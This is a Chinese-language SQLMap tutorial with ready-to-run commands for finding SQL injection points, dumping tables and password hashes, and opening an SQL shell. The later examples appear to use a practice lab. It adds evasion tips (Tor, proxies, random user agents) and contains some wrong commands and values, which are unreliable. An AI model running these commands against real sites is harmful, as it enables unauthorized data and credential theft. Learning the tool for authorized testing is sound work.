1. SQLMap简介
SQLMap 是一款强大的开源自动化SQL注入工具,用于检测、利用和审计SQL注入漏洞。它支持多种数据库类型(如MySQL、Oracle、PostgreSQL等),能够自动识别注入点、枚举数据库结构、提取数据,甚至实现数据库系统的完全控制。以下是使用SQLMap进行自动化注入的教学及示例。
2. 安装与基本使用
安装:
- 从SQLMap官方网站(http://sqlmap.org/)下载最新版本的SQLMap。
- 根据操作系统类型(Windows、Linux、macOS)进行相应安装。对于Linux和macOS,通常通过解压压缩包或使用包管理器(如
pip install sqlmap
)进行安装。
帮助:
SQLmap -
SQLmap帮助命令
SQLMap参数及其作用及示例
SQLMap是一款强大的自动化SQL注入工具,具有众多参数来控制其行为、指定目标、调整注入策略、收集信息、进行交互等。以下是一些关键参数的作用及示例:
- 指定目标URL
- 参数:
-u
或--url
- 作用:指定要测试的含有潜在SQL注入点的URL。
- 示例:
python sqlmap.py -u "http://target.com/vuln.php?id=1"
- 指定请求方法与数据
- 参数:
--method
和--data
- 作用:指定HTTP请求的方法(如POST)和数据。
- 示例:
python sqlmap.py -u "http://target.com/api/login" --method POST --data "username=admin&password=123"
- 指定数据库类型
- 参数:
--dbms
- 作用:明确指定目标数据库管理系统(DBMS)类型,如MySQL、Oracle、SQL Server等。
- 示例:
python sqlmap.py -u "http://target.com/vuln.php?id=1" --dbms MySQL
- 枚举数据库信息
- 参数:
--dbs
、--tables
、--columns
- 作用:分别枚举目标数据库中的所有数据库名、特定数据库中的所有表名、特定表中的所有列名。
- 示例:
# 枚举所有数据库
python sqlmap.py -u "http://target.com/vuln.php?id=1" --dbs
# 枚举特定数据库(如'db_name')中的所有表
python sqlmap.py -u "http://target.com/vuln.php?id=1" --dbs db_name --tables
# 枚举特定表(如'table_name')中的所有列
python sqlmap.py -u "http://target.com/vuln.php?id=1" --dbs db_name --tables table_name --columns
- 提取数据
- 参数:
--dump
- 作用:从目标数据库中提取指定表(或所有表)的数据。
- 示例:
# 提取特定表(如'table_name')的所有数据
python sqlmap.py -u "http://target.com/vuln.php?id=1" --dbs db_name --tables table_name --dump
# 提取所有表的数据(需谨慎,可能导致大量数据输出)
python sqlmap.py -u "http://target.com/vuln.php?id=1" --dump-all
- 设置注入级别与风险
- 参数:
--level
和--risk
- 作用:调整SQLMap的注入测试深度(
--level
)和采取的公鸡风险级别(--risk
)。 - 示例:
1# 设置注入级别为5(最大),风险级别为3(中等)
2python sqlmap.py -u "http://target.com/vuln.php?id=1" --level 5 --risk 3
- 使用代理
- 参数:
--proxy
- 作用:通过指定的HTTP代理服务器发送请求。
- 示例:
python sqlmap.py -u "http://target.com/vuln.php?id=1" --proxy http://localhost:8080
- 设置延时
- 参数:
--delay
- 作用:在每个HTTP请求之间添加指定的延迟时间(单位:秒),以减小对目标服务器的压力。
- 示例:
python sqlmap.py -u "http://target.com/vuln.php?id=1" --delay 2
- 进行交互式注入
- 参数:
--sqlmap-shell
- 作用:启动一个交互式Shell,允许用户手动执行SQL查询并与数据库进行交互。
- 示例:
python sqlmap.py -u "http://target.com/vuln.php?id=1" --sqlmap-shell
基本使用:
python sqlmap.py [选项] -u [目标URL]
其中,[选项]
是指定的参数,[目标URL]
是待测试的含有SQL注入点的网页地址。
3. 常用选项与示例
(a)检测注入点
python sqlmap.py -u "http://target.com/vuln.php?id=1"
此命令会尝试检测http://target.com/vuln.php
中id
参数是否存在SQL注入漏洞。
(b)指定注入类型
python sqlmap.py -u "http://target.com/vuln.php?id=1" --technique=U
使用--technique
选项指定注入技术,如U
表示使用UNION
查询进行注入测试。SQLMap支持多种注入技术,如B
(布尔注入)、T
(时间盲注)、E
(错误注入)等。
(c)枚举数据库信息
python sqlmap.py -u "http://target.com/vuln.php?id=1" --dbs
--dbs
参数用于枚举目标数据库中的所有数据库名称。
(d)枚举表结构与数据
python sqlmap.py -u "http://target.com/vuln.php?id=1" -D target_db --tables
python sqlmap.py -u "http://target.com/vuln.php?id=1" -D target_db -T target_table --columns
python sqlmap.py -u "http://target.com/vuln.php?id=1" -D target_db -T target_table --dump
这三个命令分别用于枚举指定数据库(target_db
)中的所有表名、指定表(target_table
)的列名以及导出该表的所有数据。
(e)获取数据库用户密码哈希
python sqlmap.py -u "http://target.com/vuln.php?id=1" --passwords
--passwords
参数用于尝试提取数据库用户的密码哈希值。
(f)使用特定数据库用户
python sqlmap.py -u "http://target.com/vuln.php?id=1" -U db_user --passwords
-U
参数指定数据库用户名(db_user
),结合--passwords
尝试提取该用户的密码哈希。
(g)指定HTTP方法与数据
python sqlmap.py -u "http://target.com/api/v1/data" --data "id=1" --method POST --level 3 --risk 3
当目标URL接受POST请求时,使用--data
传递POST数据,--method
指定HTTP方法为POST。--level
和--risk
参数分别调整扫描的深度和采取的风险等级。
(h)设置代理与延时
python sqlmap.py -u "http://target.com/vuln.php?id=1" --proxy http://127.0.0.1:8080 --delay 5
使用--proxy
设置HTTP代理,便于通过代理服务器进行扫描。--delay
指定每次请求之间的间隔时间,以避免对目标服务器造成过大压力。
3. 高级选项与技巧
(i)多线程扫描
python sqlmap.py -u "http://target.com/vuln.php?id=1" --threads 5
--threads
参数指定同时运行的线程数,加快扫描速度。
(j)使用Tor匿名网络
python sqlmap.py -u "http://target.com/vuln.php?id=1" --tor
启用--tor
选项,SQLMap将通过Tor网络发起请求,增加扫描的匿名性。
(k)使用SQLite日志记录
python sqlmap.py -u "http://target.com/vuln.php?id=1" --sqlmap-shell -o results.sqlite
进入SQLMap shell模式,使用-o
参数指定保存扫描结果的SQLite数据库文件名,方便后续分析。
总结
SQLMap提供了丰富的选项和强大的功能,使得自动化检测和利用SQL注入漏洞变得高效且便捷。通过组合不同的参数,可以根据实际需求定制扫描策略,快速获取目标系统的数据库信息、数据乃至控制权。在使用过程中,务必遵守相关法律法规和道德规范,仅限于授权的安全测试或教育目的。
4.结合burp扫描
在请求栏里抓取到的数据包内容可以复制保存出来
或者使用文本编辑器(如nano
、vim
等)
1nano 1.txt
或
1vim 1.txt
这些命令将启动相应的文本编辑器程序,并打开一个新文件名为“1.txt”的编辑窗口。您可以在此窗口中直接输入或粘贴文本内容,编辑完成后按编辑器的保存指令(如nano
的Ctrl+O
后回车,或vim
的:w
后回车)保存文件并退出编辑器。
然后使用命令注入
SQLmap -r ./1.txt
注入指定数据库中的数据表
步骤:
- 启动SQLMap并指定目标URL: 使用
-u
参数提供包含SQL注入点的URL。
1python sqlmap.py -u "http://target.com/vuln.php?id=1"
- 指定目标数据库: 使用
-D
参数指定要爆破数据表的数据库名称。
1python sqlmap.py -u "http://target.com/vuln.php?id=1" -D target_database
替换 target_database
为实际要爆破的数据库名。
- 枚举数据库中的表: 使用
--tables
参数让SQLMap列出指定数据库中的所有表。
1python sqlmap.py -u "http://target.com/vuln.php?id=1" -D target_database --tables
执行后,SQLMap将尝试枚举并列出指定数据库中的所有数据表。
获取数据表中的字段信息
使用sqlmap爆破指定数据库(库)中某个数据表的字段内容,通常按照以下步骤进行操作:
- 启动sqlmap: 首先确保已经正确安装了Python环境,并下载了sqlmap工具。在Windows环境下,通常需要通过命令行(以管理员身份运行)进入sqlmap所在目录,然后使用
sqlmap.py
作为入口脚本;在Linux或macOS环境下,则直接使用sqlmap
命令。 - 指定目标URL: 提供存在SQL注入漏洞的目标网页URL,格式如下:
1python sqlmap.py -u "http://target_url"
其中,http://target_url
应替换为实际待测试的URL,该URL应包含可注入的参数。
- 指定数据库和表: 若要爆破特定数据库中的某个表,需要使用
-D
选项指定数据库名,-T
选项指定表名:
1python sqlmap.py -u "http://target_url" -D "database_name" -T "table_name"
替换database_name
和table_name
为实际要爆破的数据库名和表名。
- 指定要爆破的字段: 使用
-C
选项列出要获取数据的字段名。如果有多个字段,用逗号分隔:
1python sqlmap.py -u "http://target_url" -D "database_name" -T "table_name" -C "column1,column2,..."
将column1
, column2
, ...替换为实际要爆破的字段名。
- 执行数据爆破: 最后,使用
--dump
选项来执行数据提取操作,即爆破指定字段的内容:
1python sqlmap.py -u "http://target_url" -D "database_name" -T "table_name" -C "column1,column2,..." --dump
综上所述,完整命令示例如下:
1python sqlmap.py -u "http://target_url?injected_parameter=value" -D "database_name" -T "table_name" -C "column1,column2,..." --dump
请确保替换上述命令中的http://target_url?injected_parameter=value
、database_name
、table_name
、column1
, column2
, ...为实际的目标URL、数据库名、表名和字段名。执行此命令后,sqlmap将尝试利用SQL注入漏洞,爆破并显示指定数据库中指定表内指定字段的所有数据。
在实际测试中可能数据表中的字段不会明文存储,是md5值需要在一些网站上在线破姐。
实战小技巧
一、shell
以下是对使用sqlmap执行注入语句的注释:
1sqlmap -u "http://10.0.80.5:9001/Less-1/?id=1" --sql-shell
注释说明:
sqlmap
: 这是执行命令的工具名称,即sqlmap SQL注入工具。这是一个强大的自动化工具,用于检测和利用SQL注入漏洞。-u
: 这是一个命令行选项,表示指定目标URL(Uniform Resource Locator)。在这个例子中,目标URL是"http://10.0.80.5:9001/Less-1/?id=1"
,指向一个可能存在SQL注入漏洞的Web页面。其中:
http://
表示使用HTTP协议。10.0.80.5:9001
是目标服务器的IP地址和端口号。/Less-1/
是路径部分,通常对应于Web应用的一个特定资源或页面。?id=1
是查询字符串,其中id
是一个参数,其值为1
。这个参数可能是SQL注入公鸡的切入点。
--sql-shell
: 这是一个命令行选项,用于开启一个交互式的SQL shell。在成功利用SQL注入漏洞后,sqlmap会连接到目标数据库,并提供一个命令行界面,允许用户直接执行任意SQL查询。这样,公鸡者可以在已获取的权限范围内自由探索和操作数据库,包括但不限于读取、修改、删除数据,甚至执行系统命令(如果数据库配置允许)。
就变成了sql远程的shell
二、输出外部文件
sqlmap -u "http://10.0.80.5:9001/Less-1/?id=1" -t http.log
注释说明:
sqlmap
: 同前,这是使用的SQL注入工具名称。-u
: 同前,表示指定目标URL。这里的目标URL是"http://10.0.80.5:9001/Less-1/?id=1"
,指向可能存在的SQL注入漏洞的Web页面。-t
: 这是一个命令行选项,用于指定输出文件名。当使用-t
选项时,sqlmap将会把其运行过程中的输出信息(如扫描结果、发现的漏洞、注入详情等)写入到指定的文件中,而不是直接显示在终端屏幕上。在这个例子中,指定的输出文件名为http.log
。
总结起来,这条命令指示sqlmap针对给定的URL (http://10.0.80.5:9001/Less-1/?id=1
) 进行SQL注入公鸡,并将扫描过程中产生的所有输出信息保存到名为 http.log
的日志文件中。这样做有助于记录公鸡过程、保留详细结果以供后续分析,或者避免在终端中直接显示大量输出影响用户体验。用户可以在扫描完成后查看这个日志文件来了解sqlmap的操作结果和发现的任何安全问题。同样地,此类活动应在合法授权的安全测试环境中进行,并遵循相关的法规与伦理准则。
输入cat命令查看
cat http.log
三、代理
1sqlmap -u "//10.0.80.5:9001/Less-1/?id=1" --proxy=http://1207.0.0.1:1080
注释说明:
sqlmap
: 同前,这是使用的SQL注入工具名称。-u
: 同前,表示指定目标URL。这里的目标URL是"//10.0.80.5:9001/Less-1/?id=1"
,指向可能存在的SQL注入漏洞的Web页面。注意,这里的双斜线 (//
) 在URL中通常是不规范的,标准URL应使用单个斜线 (/
) 开始。尽管如此,某些工具可能会接受这样的输入并自动纠正,但建议修正为标准格式以避免潜在问题。--proxy
: 这是一个命令行选项,用于指定HTTP代理服务器。当使用此选项时,sqlmap发送的所有HTTP请求都将通过指定的代理服务器转发。在这个例子中,指定的代理服务器地址为http://1207.0.0.1:1080
,其中:
http://
表明代理使用HTTP协议。1207.0.0.1
是代理服务器的IP地址。:1080
指定了代理服务器监听的端口。
总结来说,这条命令指示sqlmap通过指定的HTTP代理服务器 (http://1207.0.0.1:1080
) 对目标URL (//10.0.80.5:9001/Less-1/?id=1
) 进行SQL注入公鸡。使用代理的主要原因可能包括:
- 隐藏真实源IP地址,增加匿名性。
- 绕过网络限制,如防火墙或访问控制列表。
- 利用特定地理位置的代理以模拟特定区域的用户访问。
四、启用随机用户代理
1sqlmap -u "http://10.0.80.5:9001/Less-1/?id=1" --random-agent
注释说明:
sqlmap
: 同前,这是使用的SQL注入工具名称。-u
: 同前,表示指定目标URL。这里的目标URL是"http://10.0.80.5:9001/Less-1/?id=1"
,指向可能存在的SQL注入漏洞的Web页面。--random-agent
: 这是一个命令行选项,用于启用随机用户代理(User-Agent)功能。用户代理是HTTP请求头的一部分,通常包含客户端应用程序(如浏览器)的信息,如类型、版本、操作系统等。启用此选项后,sqlmap在每次向目标发送HTTP请求时,都会使用一个从预定义列表中随机选择的用户代理字符串。这样做的主要目的是:
- 模拟不同浏览器或设备,降低被服务器端基于用户代理识别和阻止自动化工具的可能性。
- 增加公鸡的隐蔽性,使得公鸡流量更难以通过特征分析被检测和拦截。
综上所述,该命令指示sqlmap在对目标URL (http://10.0.80.5:9001/Less-1/?id=1
) 执行SQL注入公鸡时,使用随机变化的用户代理字符串。这一策略有助于提高扫描的匿名性和成功率,尤其是在面对有反爬虫或自动化工具检测机制的服务器时。
四、其他